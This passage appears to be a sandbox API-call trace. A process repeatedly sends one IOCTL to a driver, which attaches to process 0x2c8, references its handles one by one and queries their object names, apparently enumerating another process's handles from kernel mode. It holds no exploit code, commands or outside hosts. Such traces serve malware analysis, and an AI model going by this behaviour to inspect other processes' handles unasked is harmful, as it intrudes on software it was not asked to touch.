HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0069.233] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.233] PsReleaseProcessExitSynchronization () returned 0x2 [0069.233] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.233] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.234] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0069.234] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.234] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0069.234] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.234] PsAcquireProcessExitSynchronization () returned 0x0 [0069.234] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.234] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0069.234] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.234] PsReleaseProcessExitSynchronization () returned 0x2 [0069.234] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.234] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.234] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0069.234] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.234] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0069.234] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.234] PsAcquireProcessExitSynchronization () returned 0x0 [0069.234] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.234] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0069.234] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.234] PsReleaseProcessExitSynchronization () returned 0x2 [0069.234] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.234] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.234] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0069.234] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.234] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.234] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0069.235] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.235] PsAcquireProcessExitSynchronization () returned 0x0 [0069.235] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.235] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0069.235] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.235] PsReleaseProcessExitSynchronization () returned 0x2 [0069.235] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.235] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.235] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0069.235] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.235] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0069.235] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.235] PsAcquireProcessExitSynchronization () returned 0x0 [0069.235] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.235] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0069.235] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.235] PsReleaseProcessExitSynchronization () returned 0x2 [0069.235] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.235] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.235] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0069.235] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.235] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.235] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0069.235] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.235] PsAcquireProcessExitSynchronization () returned 0x0 [0069.235] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.235] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0069.235] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.235] PsReleaseProcessExitSynchronization () returned 0x2 [0069.236] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.236] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.236] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0069.236] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.236] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0069.236] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.236] PsAcquireProcessExitSynchronization () returned 0x0 [0069.236] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.236] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0069.236] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.236] PsReleaseProcessExitSynchronization () returned 0x2 [0069.236] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.236] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.236] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0069.236] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.236] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0069.236] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.236] PsAcquireProcessExitSynchronization () returned 0x0 [0069.236] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.236] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0069.236] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.236] PsReleaseProcessExitSynchronization () returned 0x2 [0069.236] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.236] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.236] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0069.236] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.236] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.236] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.237] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.237] PsAcquireProcessExitSynchronization () returned 0x0 [0069.237] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.237] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0069.237] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.237] PsReleaseProcessExitSynchronization () returned 0x2 [0069.237] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.237] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.237] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0069.237] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.237] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0069.237] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.237] PsAcquireProcessExitSynchronization () returned 0x0 [0069.237] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.237] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003122070, HandleInformation=0x0) returned 0x0 [0069.237] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.237] PsReleaseProcessExitSynchronization () returned 0x2 [0069.237] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.237] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.237] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0069.237] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.237] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.237] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.237] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.237] PsAcquireProcessExitSynchronization () returned 0x0 [0069.237] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.237] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0069.238] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.238] PsReleaseProcessExitSynchronization () returned 0x2 [0069.238] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.238] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.238] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0069.238] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.238] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.238] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.238] PsAcquireProcessExitSynchronization () returned 0x0 [0069.238] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.238] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0069.238] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.238] PsReleaseProcessExitSynchronization () returned 0x2 [0069.238] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.238] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.238] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0069.238] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.238] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.238] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.238] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.238] PsAcquireProcessExitSynchronization () returned 0x0 [0069.238] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.238] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0069.238] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.238] PsReleaseProcessExitSynchronization () returned 0x2 [0069.238] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.238] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.238] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0069.239] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.239] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.239] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0069.239] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.239] PsAcquireProcessExitSynchronization () returned 0x0 [0069.239] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.239] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0069.239] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.239] PsReleaseProcessExitSynchronization () returned 0x2 [0069.239] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.239] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.239] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0069.239] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.239] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.239] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0069.239] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.239] PsAcquireProcessExitSynchronization () returned 0x0 [0069.239] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.239] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0069.239] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.239] PsReleaseProcessExitSynchronization () returned 0x2 [0069.239] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.239] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.239] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0069.239] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.239] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.239] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0069.239] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.239] PsAcquireProcessExitSynchronization () returned 0x0 [0069.239] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880054f85d0) [0069.239] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0069.240] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.240] PsReleaseProcessExitSynchronization () returned 0x2 [0069.240] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0069.240] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.240] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0069.240] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.240] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: 